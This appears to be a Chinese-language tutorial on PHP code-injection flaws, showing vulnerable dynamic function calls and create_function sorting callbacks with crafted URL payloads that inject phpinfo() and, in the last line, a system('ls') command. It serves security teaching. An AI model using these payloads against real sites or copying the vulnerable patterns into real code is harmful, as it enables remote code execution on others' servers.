1、动态函数执行
函数与函数之间的调用,可能会造成的漏洞
缺陷代码:
<?php
function a(){
echo "a";
}
function b(){
echo "b";
}
function c($arg){
echo '$arg='.$arg;
$arg();
}
$action=$_GET['c'];
c($action);
//浏览器获取到的值 b ,现在作为 c() 函数的参数插入到了函数中,并且在函数中作为函数名调用了另外一个函数
?>
2、匿名函数(Anonymous functions),也叫闭包函数(closures),允许临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值。
create_function 创建匿名函数
(1)缺陷代码1
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>
构造参数:http://192.168.189.129/test.php?sort_by='"]);}phpinfo();/*
还原实际的组合过程:
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
匿名函数实际的执行:
function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
(2)缺陷代码:
<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>
payload
的构造:
http://localhost/test/2.php?c=1));}phpinfo();/*
还原实际的组合过程:
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
匿名函数实际的执行:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }
http://xxxxx/index.php?code=1;}system(%27ls%20../../../%27);/*